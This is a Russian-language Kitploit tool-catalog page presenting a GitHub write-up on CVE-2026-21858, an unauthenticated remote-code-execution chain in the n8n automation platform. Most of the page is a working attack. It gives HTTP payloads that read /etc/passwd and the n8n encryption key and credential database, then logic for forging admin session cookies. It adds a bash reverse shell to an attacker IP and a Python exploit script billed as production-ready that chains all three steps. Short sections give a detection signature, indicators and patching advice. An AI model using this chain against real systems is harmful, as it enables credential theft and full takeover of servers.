Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SASTRA-ADI-WIGUNA-CVE-2026-21858-Holistic-Audit — Технический аудит и воспроизведение CVE-2026-21858 — цепочки RCE в n8n, использующей путаницу Content-Type для произвольного чтения файлов, подделки сессий и выполнения команд. | Kitploit
Инструменты/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/sastra-adi-wiguna-cve-2026-21858-holistic-audit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingПодобранные Ресурсы
GitHubsastraadiwiguna-purpleeliteteaming/sastra-adi-wiguna-cve-2026-21858-holistic-audit

SASTRA-ADI-WIGUNA-CVE-2026-21858-Holistic-Audit

Технический аудит и воспроизведение CVE-2026-21858 — цепочки RCE в n8n, использующей путаницу Content-Type для произвольного чтения файлов, подделки сессий и выполнения команд.

РепозиторийСайт
7 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

DOI = doi.org/10.5281/zenodo.18278825

ORCID = orcid.org/0009-0007-7728-256X


[RECONSTRUCTION_ANALYSIS] CVE-2026-21858: Ni8mare — Полная цепочка эксплуатации RCE в n8n

  1. Резюме и обзор В данном документе представлен детерминированный технический реконструкционный анализ уязвимости CVE-2026-21858, внутреннее обозначение — Ni8mare. Данная уязвимость имеет оценку CVSS 10.0 (Critical) и была выявлена в узле Form Webhook платформы автоматизации n8n. Дефект представляет собой уязвимость путаницы Content-Type (Content-Type Confusion), которая позволяет неаутентифицированным злоумышленникам выполнять произвольное чтение файлов, подделку сессий и, в конечном итоге, полное удалённое выполнение кода (RCE) через узел «Execute Command».

Данный технический аудит основан на результатах исследования Дора Аттиаса (Dor Attias) из Cyera Research Labs (9 ноября 2025 года) и включает готовые к использованию шаги воспроизведения для лабораторных сред REmnux/Kali Linux.

Ключевая информация: Цель: версии n8n >=1.65.0 до <1.121.0.

Вектор атаки: Сеть (HTTP/HTTPS).

Сложность: Низкая.

Воздействие: Полное (конфиденциальность, целостность и доступность).

Оценка EPSS: 0.97 (очень высокая вероятность эксплуатации).

  1. Технический анализ первопричины Первопричина данной уязвимости кроется в функции prepareFormReturnItem() в узле Form Webhook платформы n8n. Технически, промежуточное ПО parseRequestBody() маршрутизирует данные на основе заголовка Content-Type:

Нормальный поток: Запрос multipart/form-data обрабатывается функцией parseFormData() (с использованием парсера Formidable), которая корректно заполняет объект req.body.files.

Уязвимое условие: Если злоумышленник отправляет запрос с Content-Type: application/json, промежуточное ПО вызывает parseBody(). Затем отправленный JSON напрямую парсится в req.body, что фатально переопределяет свойство req.body.files без дополнительной проверки.

Эксплуатация: Функция formWebhook -> prepareFormReturnItem() вслепую вызывает copyBinaryFile(req.body.files[0].filepath), доверяя пути к файлу, указанному в JSON, тем самым копируя произвольные локальные файлы в доступное хранилище рабочих процессов.

  1. Настройка лабораторной среды Для безопасной реконструкции данной атаки в изолированной среде используйте Docker с уязвимым образом n8n.

Предварительные требования: Docker и Docker Compose.

Python 3 с библиотеками requests, pyjwt и cryptography.

Netcat (nc) или Burp Suite для перехвата шелла.

Шаги развёртывания: Запуск уязвимого экземпляра:

Bash

docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0 Инициализация администратора: Перейдите на http://localhost:5678, создайте учётную запись администратора (например, [email protected] / Password123!).

Конфигурация рабочего процесса: Создайте новый рабочий процесс с узлом «Form Trigger», который включает поле «File Upload». Активируйте рабочий процесс и запишите «Test URL».

  1. Полная цепочка эксплуатации Фаза 1: Примитив произвольного чтения файлов Цель — использовать путаницу Content-Type для копирования чувствительных системных файлов.

HTTP-пейлоад запроса:

HTTP

POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0

[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] Стратегические цели:

/home/node/.n8n/config: для кражи N8N_ENCRYPTION_KEY.

/home/node/.n8n/database.sqlite: для извлечения хэшей учётных данных пользователей.

Фаза 2: Обход аутентификации (подделка сессии) После получения ключа шифрования и данных пользователя можно подделать cookie n8n-auth.

Логика подделки сессии:

Пейлоад: {"userId":1, "hash": sha256(email + password).slice(0,10)}.

Подпись: Подписывается с использованием N8N_ENCRYPTION_KEY по алгоритму HS256.

Результат: Сгенерированный cookie предоставляет полный административный доступ без прохождения обычного процесса входа в систему.

Фаза 3: Удалённое выполнение кода (RCE) Будучи администратором (через подделанный cookie), мы можем автоматизировать создание нового рабочего процесса, содержащего узел «Execute Command».

Командный пейлоад: bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"

  1. Готовый к продакшену эксплойт-скрипт (Python) Ниже представлен единый (один исполняемый файл) скрипт эксплуатации, который объединяет все вышеуказанные фазы для получения системного шелла с нуля.

Python

#!/usr/bin/env python3

=============================================================================

Ni8mare Full RCE Chain - CVE-2026-21858 (CVSS 10.0)

Reconstructed for SASTRA_ADI_WIGUNA Elite Teaming Analysis

=============================================================================

import requests, json, hashlib, jwt, time

class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()

root@kitploit:~
def read_file(self, path, name):
    """Phase 1: Arbitrary File Read via Content-Type Confusion"""
    print(f"[*] Attempting to read {path}...")
    payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
    headers = {'Content-Type': 'application/json'}
    r = self.session.post(self.webhook_url, json=payload, headers=headers)
    return r.status_code == 200

def forge_session(self, email, password, key):
    """Phase 2: Cookie Forgery"""
    hash_src = email + password
    h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
    payload = {'userId': 1, 'hash': h}
    cookie = jwt.encode(payload, key, algorithm='HS256')
    self.session.cookies.set('n8n-auth', cookie)
    print(f"[+] Forged Cookie: n8n-auth={cookie}")

def trigger_rce(self, lhost, lport):
    """Phase 3: RCE via Workflow Automation"""
    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
    wf_payload = {
        "name": "Ni8mare RCE",
        "nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
        "active": True
    }
    r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
    print("[!] RCE Workflow Deployed. Check your listener!")

Usage example:

exploit = Ni8mareExploit('http://target:5678', 'abc123')

  1. Обнаружение, криминалистика и индикаторы компрометации (IOC) Для групп обеспечения безопасности (Blue Team) следующие индикаторы могут быть использованы для обнаружения попыток эксплуатации Ni8mare:

Сетевые индикаторы (IDS/IPS): Сигнатура Suricata: alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)

Аномалия: POST-запросы с Content-Type: application/json, отправленные на конечную точку /webhook/*/form-endpoint.

Криминалистика на хосте: Файловая система: Поиск подозрительных текстовых файлов в каталоге ~/.n8n/files/, содержащих системные данные (например, /etc/passwd).

Журналы: Аудит журналов n8n на предмет активности функции prepareFormReturnItem без сопутствующих multipart-данных.

Docker Inspect: Проверка того, что версия образа ниже 1.121.0.

  1. Смягчение и устранение последствий Немедленное обновление: Обновите n8n до версии 1.121.0 или новее. Патч включает проверку content-type для файловых объектов до их обработки функцией prepareFormReturnItem.

Обходной путь: Если обновление невозможно, ограничьте доступ к конечной точке /webhook с помощью межсетевого экрана для веб-приложений (WAF), чтобы блокировать подозрительные JSON-запросы.

Сетевая сегментация: Изолируйте экземпляры n8n от чувствительных внутренних сетей, чтобы предотвратить горизонтальное перемещение в случае вторжения.

  1. Сопоставление с MITRE ATT&CK Начальный доступ: T1190 (Exploit Public-Facing Application)

Выполнение: T1059 (Command and Scripting Interpreter)

Закрепление: T1098 (Account Manipulation via Session Forgery)

Эксфильтрация: T1083 (File and Directory Discovery)

DISCLAIMER: Данный анализ предоставлен исключительно в образовательных целях, для аудита безопасности и профессиональной киберзащиты по указанию Мастера SASTRA_ADI_WIGUNA. Любое неправомерное использование этой информации в незаконных целях является абсолютной ответственностью оператора. Обновление в продакшене обязательно.

Скачать инструмент